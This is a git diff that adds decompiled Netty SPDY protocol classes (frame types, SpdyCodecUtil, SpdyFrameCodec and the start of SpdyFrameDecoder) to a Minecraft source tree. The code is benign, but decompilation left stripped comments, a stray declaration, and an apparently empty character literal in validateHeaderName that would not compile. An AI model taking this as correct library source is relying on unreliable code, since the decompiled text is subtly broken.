+  {
+    super.setLast(last);
+    return this;
+  }
+  
+  public SpdySynStreamFrame setInvalid()
+  {
+    super.setInvalid();
+    return this;
+  }
+  
+  public int associatedStreamId()
+  {
+    return associatedStreamId;
+  }
+  
+  public SpdySynStreamFrame setAssociatedStreamId(int associatedStreamId)
+  {
+    if (associatedStreamId < 0) {
+      throw new IllegalArgumentException("Associated-To-Stream-ID cannot be negative: " + associatedStreamId);
+    }
+    
+
+    this.associatedStreamId = associatedStreamId;
+    return this;
+  }
+  
+  public byte priority()
+  {
+    return priority;
+  }
+  
+  public SpdySynStreamFrame setPriority(byte priority)
+  {
+    if ((priority < 0) || (priority > 7)) {
+      throw new IllegalArgumentException("Priority must be between 0 and 7 inclusive: " + priority);
+    }
+    
+    this.priority = priority;
+    return this;
+  }
+  
+  public boolean isUnidirectional()
+  {
+    return unidirectional;
+  }
+  
+  public SpdySynStreamFrame setUnidirectional(boolean unidirectional)
+  {
+    this.unidirectional = unidirectional;
+    return this;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(StringUtil.simpleClassName(this));
+    buf.append("(last: ");
+    buf.append(isLast());
+    buf.append("; unidirectional: ");
+    buf.append(isUnidirectional());
+    buf.append(')');
+    buf.append(StringUtil.NEWLINE);
+    buf.append("--> Stream-ID = ");
+    buf.append(streamId());
+    buf.append(StringUtil.NEWLINE);
+    if (associatedStreamId != 0) {
+      buf.append("--> Associated-To-Stream-ID = ");
+      buf.append(associatedStreamId());
+      buf.append(StringUtil.NEWLINE);
+    }
+    buf.append("--> Priority = ");
+    buf.append(priority());
+    buf.append(StringUtil.NEWLINE);
+    buf.append("--> Headers:");
+    buf.append(StringUtil.NEWLINE);
+    appendHeaders(buf);
+    
+
+    buf.setLength(buf.length() - StringUtil.NEWLINE.length());
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyWindowUpdateFrame.java b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyWindowUpdateFrame.java
new file mode 100644
index 0000000..d39e2c9
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyWindowUpdateFrame.java
@@ -0,0 +1,82 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSpdyWindowUpdateFrame
+  implements SpdyWindowUpdateFrame
+{
+  private int streamId;
+  private int deltaWindowSize;
+  
+  public DefaultSpdyWindowUpdateFrame(int streamId, int deltaWindowSize)
+  {
+    setStreamId(streamId);
+    setDeltaWindowSize(deltaWindowSize);
+  }
+  
+  public int streamId()
+  {
+    return streamId;
+  }
+  
+  public SpdyWindowUpdateFrame setStreamId(int streamId)
+  {
+    if (streamId < 0) {
+      throw new IllegalArgumentException("Stream-ID cannot be negative: " + streamId);
+    }
+    
+    this.streamId = streamId;
+    return this;
+  }
+  
+  public int deltaWindowSize()
+  {
+    return deltaWindowSize;
+  }
+  
+  public SpdyWindowUpdateFrame setDeltaWindowSize(int deltaWindowSize)
+  {
+    if (deltaWindowSize <= 0) {
+      throw new IllegalArgumentException("Delta-Window-Size must be positive: " + deltaWindowSize);
+    }
+    
+
+    this.deltaWindowSize = deltaWindowSize;
+    return this;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(StringUtil.simpleClassName(this));
+    buf.append(StringUtil.NEWLINE);
+    buf.append("--> Stream-ID = ");
+    buf.append(streamId());
+    buf.append(StringUtil.NEWLINE);
+    buf.append("--> Delta-Window-Size = ");
+    buf.append(deltaWindowSize());
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyCodecUtil.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyCodecUtil.java
new file mode 100644
index 0000000..005652e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyCodecUtil.java
@@ -0,0 +1,330 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class SpdyCodecUtil
+{
+  static final int SPDY_SESSION_STREAM_ID = 0;
+  static final int SPDY_HEADER_TYPE_OFFSET = 2;
+  static final int SPDY_HEADER_FLAGS_OFFSET = 4;
+  static final int SPDY_HEADER_LENGTH_OFFSET = 5;
+  static final int SPDY_HEADER_SIZE = 8;
+  static final int SPDY_MAX_LENGTH = 16777215;
+  static final byte SPDY_DATA_FLAG_FIN = 1;
+  static final int SPDY_DATA_FRAME = 0;
+  static final int SPDY_SYN_STREAM_FRAME = 1;
+  static final int SPDY_SYN_REPLY_FRAME = 2;
+  static final int SPDY_RST_STREAM_FRAME = 3;
+  static final int SPDY_SETTINGS_FRAME = 4;
+  static final int SPDY_PUSH_PROMISE_FRAME = 5;
+  static final int SPDY_PING_FRAME = 6;
+  static final int SPDY_GOAWAY_FRAME = 7;
+  static final int SPDY_HEADERS_FRAME = 8;
+  static final int SPDY_WINDOW_UPDATE_FRAME = 9;
+  static final byte SPDY_FLAG_FIN = 1;
+  static final byte SPDY_FLAG_UNIDIRECTIONAL = 2;
+  static final byte SPDY_SETTINGS_CLEAR = 1;
+  static final byte SPDY_SETTINGS_PERSIST_VALUE = 1;
+  static final byte SPDY_SETTINGS_PERSISTED = 2;
+  static final int SPDY_SETTINGS_MAX_ID = 16777215;
+  static final int SPDY_MAX_NV_LENGTH = 65535;
+  static final byte[] SPDY_DICT = { 0, 0, 0, 7, 111, 112, 116, 105, 111, 110, 115, 0, 0, 0, 4, 104, 101, 97, 100, 0, 0, 0, 4, 112, 111, 115, 116, 0, 0, 0, 3, 112, 117, 116, 0, 0, 0, 6, 100, 101, 108, 101, 116, 101, 0, 0, 0, 5, 116, 114, 97, 99, 101, 0, 0, 0, 6, 97, 99, 99, 101, 112, 116, 0, 0, 0, 14, 97, 99, 99, 101, 112, 116, 45, 99, 104, 97, 114, 115, 101, 116, 0, 0, 0, 15, 97, 99, 99, 101, 112, 116, 45, 101, 110, 99, 111, 100, 105, 110, 103, 0, 0, 0, 15, 97, 99, 99, 101, 112, 116, 45, 108, 97, 110, 103, 117, 97, 103, 101, 0, 0, 0, 13, 97, 99, 99, 101, 112, 116, 45, 114, 97, 110, 103, 101, 115, 0, 0, 0, 3, 97, 103, 101, 0, 0, 0, 5, 97, 108, 108, 111, 119, 0, 0, 0, 13, 97, 117, 116, 104, 111, 114, 105, 122, 97, 116, 105, 111, 110, 0, 0, 0, 13, 99, 97, 99, 104, 101, 45, 99, 111, 110, 116, 114, 111, 108, 0, 0, 0, 10, 99, 111, 110, 110, 101, 99, 116, 105, 111, 110, 0, 0, 0, 12, 99, 111, 110, 116, 101, 110, 116, 45, 98, 97, 115, 101, 0, 0, 0, 16, 99, 111, 110, 116, 101, 110, 116, 45, 101, 110, 99, 111, 100, 105, 110, 103, 0, 0, 0, 16, 99, 111, 110, 116, 101, 110, 116, 45, 108, 97, 110, 103, 117, 97, 103, 101, 0, 0, 0, 14, 99, 111, 110, 116, 101, 110, 116, 45, 108, 101, 110, 103, 116, 104, 0, 0, 0, 16, 99, 111, 110, 116, 101, 110, 116, 45, 108, 111, 99, 97, 116, 105, 111, 110, 0, 0, 0, 11, 99, 111, 110, 116, 101, 110, 116, 45, 109, 100, 53, 0, 0, 0, 13, 99, 111, 110, 116, 101, 110, 116, 45, 114, 97, 110, 103, 101, 0, 0, 0, 12, 99, 111, 110, 116, 101, 110, 116, 45, 116, 121, 112, 101, 0, 0, 0, 4, 100, 97, 116, 101, 0, 0, 0, 4, 101, 116, 97, 103, 0, 0, 0, 6, 101, 120, 112, 101, 99, 116, 0, 0, 0, 7, 101, 120, 112, 105, 114, 101, 115, 0, 0, 0, 4, 102, 114, 111, 109, 0, 0, 0, 4, 104, 111, 115, 116, 0, 0, 0, 8, 105, 102, 45, 109, 97, 116, 99, 104, 0, 0, 0, 17, 105, 102, 45, 109, 111, 100, 105, 102, 105, 101, 100, 45, 115, 105, 110, 99, 101, 0, 0, 0, 13, 105, 102, 45, 110, 111, 110, 101, 45, 109, 97, 116, 99, 104, 0, 0, 0, 8, 105, 102, 45, 114, 97, 110, 103, 101, 0, 0, 0, 19, 105, 102, 45, 117, 110, 109, 111, 100, 105, 102, 105, 101, 100, 45, 115, 105, 110, 99, 101, 0, 0, 0, 13, 108, 97, 115, 116, 45, 109, 111, 100, 105, 102, 105, 101, 100, 0, 0, 0, 8, 108, 111, 99, 97, 116, 105, 111, 110, 0, 0, 0, 12, 109, 97, 120, 45, 102, 111, 114, 119, 97, 114, 100, 115, 0, 0, 0, 6, 112, 114, 97, 103, 109, 97, 0, 0, 0, 18, 112, 114, 111, 120, 121, 45, 97, 117, 116, 104, 101, 110, 116, 105, 99, 97, 116, 101, 0, 0, 0, 19, 112, 114, 111, 120, 121, 45, 97, 117, 116, 104, 111, 114, 105, 122, 97, 116, 105, 111, 110, 0, 0, 0, 5, 114, 97, 110, 103, 101, 0, 0, 0, 7, 114, 101, 102, 101, 114, 101, 114, 0, 0, 0, 11, 114, 101, 116, 114, 121, 45, 97, 102, 116, 101, 114, 0, 0, 0, 6, 115, 101, 114, 118, 101, 114, 0, 0, 0, 2, 116, 101, 0, 0, 0, 7, 116, 114, 97, 105, 108, 101, 114, 0, 0, 0, 17, 116, 114, 97, 110, 115, 102, 101, 114, 45, 101, 110, 99, 111, 100, 105, 110, 103, 0, 0, 0, 7, 117, 112, 103, 114, 97, 100, 101, 0, 0, 0, 10, 117, 115, 101, 114, 45, 97, 103, 101, 110, 116, 0, 0, 0, 4, 118, 97, 114, 121, 0, 0, 0, 3, 118, 105, 97, 0, 0, 0, 7, 119, 97, 114, 110, 105, 110, 103, 0, 0, 0, 16, 119, 119, 119, 45, 97, 117, 116, 104, 101, 110, 116, 105, 99, 97, 116, 101, 0, 0, 0, 6, 109, 101, 116, 104, 111, 100, 0, 0, 0, 3, 103, 101, 116, 0, 0, 0, 6, 115, 116, 97, 116, 117, 115, 0, 0, 0, 6, 50, 48, 48, 32, 79, 75, 0, 0, 0, 7, 118, 101, 114, 115, 105, 111, 110, 0, 0, 0, 8, 72, 84, 84, 80, 47, 49, 46, 49, 0, 0, 0, 3, 117, 114, 108, 0, 0, 0, 6, 112, 117, 98, 108, 105, 99, 0, 0, 0, 10, 115, 101, 116, 45, 99, 111, 111, 107, 105, 101, 0, 0, 0, 10, 107, 101, 101, 112, 45, 97, 108, 105, 118, 101, 0, 0, 0, 6, 111, 114, 105, 103, 105, 110, 49, 48, 48, 49, 48, 49, 50, 48, 49, 50, 48, 50, 50, 48, 53, 50, 48, 54, 51, 48, 48, 51, 48, 50, 51, 48, 51, 51, 48, 52, 51, 48, 53, 51, 48, 54, 51, 48, 55, 52, 48, 50, 52, 48, 53, 52, 48, 54, 52, 48, 55, 52, 48, 56, 52, 48, 57, 52, 49, 48, 52, 49, 49, 52, 49, 50, 52, 49, 51, 52, 49, 52, 52, 49, 53, 52, 49, 54, 52, 49, 55, 53, 48, 50, 53, 48, 52, 53, 48, 53, 50, 48, 51, 32, 78, 111, 110, 45, 65, 117, 116, 104, 111, 114, 105, 116, 97, 116, 105, 118, 101, 32, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 50, 48, 52, 32, 78, 111, 32, 67, 111, 110, 116, 101, 110, 116, 51, 48, 49, 32, 77, 111, 118, 101, 100, 32, 80, 101, 114, 109, 97, 110, 101, 110, 116, 108, 121, 52, 48, 48, 32, 66, 97, 100, 32, 82, 101, 113, 117, 101, 115, 116, 52, 48, 49, 32, 85, 110, 97, 117, 116, 104, 111, 114, 105, 122, 101, 100, 52, 48, 51, 32, 70, 111, 114, 98, 105, 100, 100, 101, 110, 52, 48, 52, 32, 78, 111, 116, 32, 70, 111, 117, 110, 100, 53, 48, 48, 32, 73, 110, 116, 101, 114, 110, 97, 108, 32, 83, 101, 114, 118, 101, 114, 32, 69, 114, 114, 111, 114, 53, 48, 49, 32, 78, 111, 116, 32, 73, 109, 112, 108, 101, 109, 101, 110, 116, 101, 100, 53, 48, 51, 32, 83, 101, 114, 118, 105, 99, 101, 32, 85, 110, 97, 118, 97, 105, 108, 97, 98, 108, 101, 74, 97, 110, 32, 70, 101, 98, 32, 77, 97, 114, 32, 65, 112, 114, 32, 77, 97, 121, 32, 74, 117, 110, 32, 74, 117, 108, 32, 65, 117, 103, 32, 83, 101, 112, 116, 32, 79, 99, 116, 32, 78, 111, 118, 32, 68, 101, 99, 32, 48, 48, 58, 48, 48, 58, 48, 48, 32, 77, 111, 110, 44, 32, 84, 117, 101, 44, 32, 87, 101, 100, 44, 32, 84, 104, 117, 44, 32, 70, 114, 105, 44, 32, 83, 97, 116, 44, 32, 83, 117, 110, 44, 32, 71, 77, 84, 99, 104, 117, 110, 107, 101, 100, 44, 116, 101, 120, 116, 47, 104, 116, 109, 108, 44, 105, 109, 97, 103, 101, 47, 112, 110, 103, 44, 105, 109, 97, 103, 101, 47, 106, 112, 103, 44, 105, 109, 97, 103, 101, 47, 103, 105, 102, 44, 97, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 47, 120, 109, 108, 44, 97, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 47, 120, 104, 116, 109, 108, 43, 120, 109, 108, 44, 116, 101, 120, 116, 47, 112, 108, 97, 105, 110, 44, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 44, 112, 117, 98, 108, 105, 99, 112, 114, 105, 118, 97, 116, 101, 109, 97, 120, 45, 97, 103, 101, 61, 103, 122, 105, 112, 44, 100, 101, 102, 108, 97, 116, 101, 44, 115, 100, 99, 104, 99, 104, 97, 114, 115, 101, 116, 61, 117, 116, 102, 45, 56, 99, 104, 97, 114, 115, 101, 116, 61, 105, 115, 111, 45, 56, 56, 53, 57, 45, 49, 44, 117, 116, 102, 45, 44, 42, 44, 101, 110, 113, 61, 48, 46 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private SpdyCodecUtil() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static int getUnsignedShort(ByteBuf buf, int offset)
+  {
+    return (buf.getByte(offset) & 0xFF) << 8 | buf.getByte(offset + 1) & 0xFF;
+  }
+  
+
+
+
+  static int getUnsignedMedium(ByteBuf buf, int offset)
+  {
+    return (buf.getByte(offset) & 0xFF) << 16 | (buf.getByte(offset + 1) & 0xFF) << 8 | buf.getByte(offset + 2) & 0xFF;
+  }
+  
+
+
+
+
+  static int getUnsignedInt(ByteBuf buf, int offset)
+  {
+    return (buf.getByte(offset) & 0x7F) << 24 | (buf.getByte(offset + 1) & 0xFF) << 16 | (buf.getByte(offset + 2) & 0xFF) << 8 | buf.getByte(offset + 3) & 0xFF;
+  }
+  
+
+
+
+
+
+  static int getSignedInt(ByteBuf buf, int offset)
+  {
+    return (buf.getByte(offset) & 0xFF) << 24 | (buf.getByte(offset + 1) & 0xFF) << 16 | (buf.getByte(offset + 2) & 0xFF) << 8 | buf.getByte(offset + 3) & 0xFF;
+  }
+  
+
+
+
+
+
+
+  static boolean isServerId(int id)
+  {
+    return id % 2 == 0;
+  }
+  
+
+
+  static void validateHeaderName(String name)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    if (name.isEmpty()) {
+      throw new IllegalArgumentException("name cannot be length zero");
+    }
+    
+
+
+    if (name.length() > 65535) {
+      throw new IllegalArgumentException("name exceeds allowable length: " + name);
+    }
+    
+    for (int i = 0; i < name.length(); i++) {
+      char c = name.charAt(i);
+      if (c == 0) {
+        throw new IllegalArgumentException("name contains null character: " + name);
+      }
+      
+      if (c > '') {
+        throw new IllegalArgumentException("name contains non-ascii character: " + name);
+      }
+    }
+  }
+  
+
+
+
+  static void validateHeaderValue(String value)
+  {
+    if (value == null) {
+      throw new NullPointerException("value");
+    }
+    for (int i = 0; i < value.length(); i++) {
+      char c = value.charAt(i);
+      if (c == 0) {
+        throw new IllegalArgumentException("value contains null character: " + value);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyDataFrame.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyDataFrame.java
new file mode 100644
index 0000000..7c64135
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyDataFrame.java
@@ -0,0 +1,22 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+
+public abstract interface SpdyDataFrame
+  extends ByteBufHolder, SpdyStreamFrame
+{
+  public abstract SpdyDataFrame setStreamId(int paramInt);
+  
+  public abstract SpdyDataFrame setLast(boolean paramBoolean);
+  
+  public abstract ByteBuf content();
+  
+  public abstract SpdyDataFrame copy();
+  
+  public abstract SpdyDataFrame duplicate();
+  
+  public abstract SpdyDataFrame retain();
+  
+  public abstract SpdyDataFrame retain(int paramInt);
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyFrame.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyFrame.java
new file mode 100644
index 0000000..e7d841e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyFrame.java
@@ -0,0 +1,3 @@
+package io.netty.handler.codec.spdy;
+
+public abstract interface SpdyFrame {}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyFrameCodec.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyFrameCodec.java
new file mode 100644
index 0000000..004de2a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyFrameCodec.java
@@ -0,0 +1,354 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelOutboundHandler;
+import io.netty.channel.ChannelPromise;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import io.netty.handler.codec.UnsupportedMessageTypeException;
+import java.net.SocketAddress;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SpdyFrameCodec
+  extends ByteToMessageDecoder
+  implements SpdyFrameDecoderDelegate, ChannelOutboundHandler
+{
+  private static final SpdyProtocolException INVALID_FRAME = new SpdyProtocolException("Received invalid frame");
+  
+
+  private final SpdyFrameDecoder spdyFrameDecoder;
+  
+
+  private final SpdyFrameEncoder spdyFrameEncoder;
+  
+  private final SpdyHeaderBlockDecoder spdyHeaderBlockDecoder;
+  
+  private final SpdyHeaderBlockEncoder spdyHeaderBlockEncoder;
+  
+  private SpdyHeadersFrame spdyHeadersFrame;
+  
+  private SpdySettingsFrame spdySettingsFrame;
+  
+  private ChannelHandlerContext ctx;
+  
+
+  public SpdyFrameCodec(SpdyVersion version)
+  {
+    this(version, 8192, 16384, 6, 15, 8);
+  }
+  
+
+
+
+
+  public SpdyFrameCodec(SpdyVersion version, int maxChunkSize, int maxHeaderSize, int compressionLevel, int windowBits, int memLevel)
+  {
+    this(version, maxChunkSize, SpdyHeaderBlockDecoder.newInstance(version, maxHeaderSize), SpdyHeaderBlockEncoder.newInstance(version, compressionLevel, windowBits, memLevel));
+  }
+  
+
+
+  protected SpdyFrameCodec(SpdyVersion version, int maxChunkSize, SpdyHeaderBlockDecoder spdyHeaderBlockDecoder, SpdyHeaderBlockEncoder spdyHeaderBlockEncoder)
+  {
+    spdyFrameDecoder = new SpdyFrameDecoder(version, this, maxChunkSize);
+    spdyFrameEncoder = new SpdyFrameEncoder(version);
+    this.spdyHeaderBlockDecoder = spdyHeaderBlockDecoder;
+    this.spdyHeaderBlockEncoder = spdyHeaderBlockEncoder;
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    super.handlerAdded(ctx);
+    this.ctx = ctx;
+    ctx.channel().closeFuture().addListener(new ChannelFutureListener()
+    {
+      public void operationComplete(ChannelFuture future) throws Exception {
+        spdyHeaderBlockDecoder.end();
+        spdyHeaderBlockEncoder.end();
+      }
+    });
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    spdyFrameDecoder.decode(in);
+  }
+  
+  public void bind(ChannelHandlerContext ctx, SocketAddress localAddress, ChannelPromise promise) throws Exception
+  {
+    ctx.bind(localAddress, promise);
+  }
+  
+  public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+    throws Exception
+  {
+    ctx.connect(remoteAddress, localAddress, promise);
+  }
+  
+  public void disconnect(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    ctx.disconnect(promise);
+  }
+  
+  public void close(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    ctx.close(promise);
+  }
+  
+  public void deregister(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    ctx.deregister(promise);
+  }
+  
+  public void read(ChannelHandlerContext ctx) throws Exception
+  {
+    ctx.read();
+  }
+  
+  public void flush(ChannelHandlerContext ctx) throws Exception
+  {
+    ctx.flush();
+  }
+  
+
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise)
+    throws Exception
+  {
+    if ((msg instanceof SpdyDataFrame))
+    {
+      SpdyDataFrame spdyDataFrame = (SpdyDataFrame)msg;
+      ByteBuf frame = spdyFrameEncoder.encodeDataFrame(ctx.alloc(), spdyDataFrame.streamId(), spdyDataFrame.isLast(), spdyDataFrame.content());
+      
+
+
+
+
+      spdyDataFrame.release();
+      ctx.write(frame, promise);
+    }
+    else if ((msg instanceof SpdySynStreamFrame))
+    {
+      SpdySynStreamFrame spdySynStreamFrame = (SpdySynStreamFrame)msg;
+      ByteBuf headerBlock = spdyHeaderBlockEncoder.encode(spdySynStreamFrame);
+      ByteBuf frame;
+      try { frame = spdyFrameEncoder.encodeSynStreamFrame(ctx.alloc(), spdySynStreamFrame.streamId(), spdySynStreamFrame.associatedStreamId(), spdySynStreamFrame.priority(), spdySynStreamFrame.isLast(), spdySynStreamFrame.isUnidirectional(), headerBlock);
+
+
+
+      }
+      finally
+      {
+
+
+
+        headerBlock.release();
+      }
+      ctx.write(frame, promise);
+    }
+    else if ((msg instanceof SpdySynReplyFrame))
+    {
+      SpdySynReplyFrame spdySynReplyFrame = (SpdySynReplyFrame)msg;
+      ByteBuf headerBlock = spdyHeaderBlockEncoder.encode(spdySynReplyFrame);
+      ByteBuf frame;
+      try { frame = spdyFrameEncoder.encodeSynReplyFrame(ctx.alloc(), spdySynReplyFrame.streamId(), spdySynReplyFrame.isLast(), headerBlock);
+
+
+      }
+      finally
+      {
+
+        headerBlock.release();
+      }
+      ctx.write(frame, promise);
+    }
+    else if ((msg instanceof SpdyRstStreamFrame))
+    {
+      SpdyRstStreamFrame spdyRstStreamFrame = (SpdyRstStreamFrame)msg;
+      ByteBuf frame = spdyFrameEncoder.encodeRstStreamFrame(ctx.alloc(), spdyRstStreamFrame.streamId(), spdyRstStreamFrame.status().code());
+      
+
+
+
+      ctx.write(frame, promise);
+    }
+    else if ((msg instanceof SpdySettingsFrame))
+    {
+      SpdySettingsFrame spdySettingsFrame = (SpdySettingsFrame)msg;
+      ByteBuf frame = spdyFrameEncoder.encodeSettingsFrame(ctx.alloc(), spdySettingsFrame);
+      
+
+
+      ctx.write(frame, promise);
+    }
+    else if ((msg instanceof SpdyPingFrame))
+    {
+      SpdyPingFrame spdyPingFrame = (SpdyPingFrame)msg;
+      ByteBuf frame = spdyFrameEncoder.encodePingFrame(ctx.alloc(), spdyPingFrame.id());
+      
+
+
+      ctx.write(frame, promise);
+    }
+    else if ((msg instanceof SpdyGoAwayFrame))
+    {
+      SpdyGoAwayFrame spdyGoAwayFrame = (SpdyGoAwayFrame)msg;
+      ByteBuf frame = spdyFrameEncoder.encodeGoAwayFrame(ctx.alloc(), spdyGoAwayFrame.lastGoodStreamId(), spdyGoAwayFrame.status().code());
+      
+
+
+
+      ctx.write(frame, promise);
+    }
+    else if ((msg instanceof SpdyHeadersFrame))
+    {
+      SpdyHeadersFrame spdyHeadersFrame = (SpdyHeadersFrame)msg;
+      ByteBuf headerBlock = spdyHeaderBlockEncoder.encode(spdyHeadersFrame);
+      ByteBuf frame;
+      try { frame = spdyFrameEncoder.encodeHeadersFrame(ctx.alloc(), spdyHeadersFrame.streamId(), spdyHeadersFrame.isLast(), headerBlock);
+
+
+      }
+      finally
+      {
+
+        headerBlock.release();
+      }
+      ctx.write(frame, promise);
+    }
+    else if ((msg instanceof SpdyWindowUpdateFrame))
+    {
+      SpdyWindowUpdateFrame spdyWindowUpdateFrame = (SpdyWindowUpdateFrame)msg;
+      ByteBuf frame = spdyFrameEncoder.encodeWindowUpdateFrame(ctx.alloc(), spdyWindowUpdateFrame.streamId(), spdyWindowUpdateFrame.deltaWindowSize());
+      
+
+
+
+      ctx.write(frame, promise);
+    } else {
+      throw new UnsupportedMessageTypeException(msg, new Class[0]);
+    }
+    ByteBuf frame;
+  }
+  
+  public void readDataFrame(int streamId, boolean last, ByteBuf data) {
+    SpdyDataFrame spdyDataFrame = new DefaultSpdyDataFrame(streamId, data);
+    spdyDataFrame.setLast(last);
+    ctx.fireChannelRead(spdyDataFrame);
+  }
+  
+
+  public void readSynStreamFrame(int streamId, int associatedToStreamId, byte priority, boolean last, boolean unidirectional)
+  {
+    SpdySynStreamFrame spdySynStreamFrame = new DefaultSpdySynStreamFrame(streamId, associatedToStreamId, priority);
+    spdySynStreamFrame.setLast(last);
+    spdySynStreamFrame.setUnidirectional(unidirectional);
+    spdyHeadersFrame = spdySynStreamFrame;
+  }
+  
+  public void readSynReplyFrame(int streamId, boolean last)
+  {
+    SpdySynReplyFrame spdySynReplyFrame = new DefaultSpdySynReplyFrame(streamId);
+    spdySynReplyFrame.setLast(last);
+    spdyHeadersFrame = spdySynReplyFrame;
+  }
+  
+  public void readRstStreamFrame(int streamId, int statusCode)
+  {
+    SpdyRstStreamFrame spdyRstStreamFrame = new DefaultSpdyRstStreamFrame(streamId, statusCode);
+    ctx.fireChannelRead(spdyRstStreamFrame);
+  }
+  
+  public void readSettingsFrame(boolean clearPersisted)
+  {
+    spdySettingsFrame = new DefaultSpdySettingsFrame();
+    spdySettingsFrame.setClearPreviouslyPersistedSettings(clearPersisted);
+  }
+  
+  public void readSetting(int id, int value, boolean persistValue, boolean persisted)
+  {
+    spdySettingsFrame.setValue(id, value, persistValue, persisted);
+  }
+  
+  public void readSettingsEnd()
+  {
+    Object frame = spdySettingsFrame;
+    spdySettingsFrame = null;
+    ctx.fireChannelRead(frame);
+  }
+  
+  public void readPingFrame(int id)
+  {
+    SpdyPingFrame spdyPingFrame = new DefaultSpdyPingFrame(id);
+    ctx.fireChannelRead(spdyPingFrame);
+  }
+  
+  public void readGoAwayFrame(int lastGoodStreamId, int statusCode)
+  {
+    SpdyGoAwayFrame spdyGoAwayFrame = new DefaultSpdyGoAwayFrame(lastGoodStreamId, statusCode);
+    ctx.fireChannelRead(spdyGoAwayFrame);
+  }
+  
+  public void readHeadersFrame(int streamId, boolean last)
+  {
+    spdyHeadersFrame = new DefaultSpdyHeadersFrame(streamId);
+    spdyHeadersFrame.setLast(last);
+  }
+  
+  public void readWindowUpdateFrame(int streamId, int deltaWindowSize)
+  {
+    SpdyWindowUpdateFrame spdyWindowUpdateFrame = new DefaultSpdyWindowUpdateFrame(streamId, deltaWindowSize);
+    ctx.fireChannelRead(spdyWindowUpdateFrame);
+  }
+  
+  public void readHeaderBlock(ByteBuf headerBlock)
+  {
+    try {
+      spdyHeaderBlockDecoder.decode(headerBlock, spdyHeadersFrame);
+    } catch (Exception e) {
+      ctx.fireExceptionCaught(e);
+    } finally {
+      headerBlock.release();
+    }
+  }
+  
+  public void readHeaderBlockEnd()
+  {
+    Object frame = null;
+    try {
+      spdyHeaderBlockDecoder.endHeaderBlock(spdyHeadersFrame);
+      frame = spdyHeadersFrame;
+      spdyHeadersFrame = null;
+    } catch (Exception e) {
+      ctx.fireExceptionCaught(e);
+    }
+    if (frame != null) {
+      ctx.fireChannelRead(frame);
+    }
+  }
+  
+  public void readFrameError(String message)
+  {
+    ctx.fireExceptionCaught(INVALID_FRAME);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyFrameDecoder.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyFrameDecoder.java
new file mode 100644
index 0000000..553b71a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyFrameDecoder.java
@@ -0,0 +1,464 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.Unpooled;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SpdyFrameDecoder
+{
+  private final int spdyVersion;
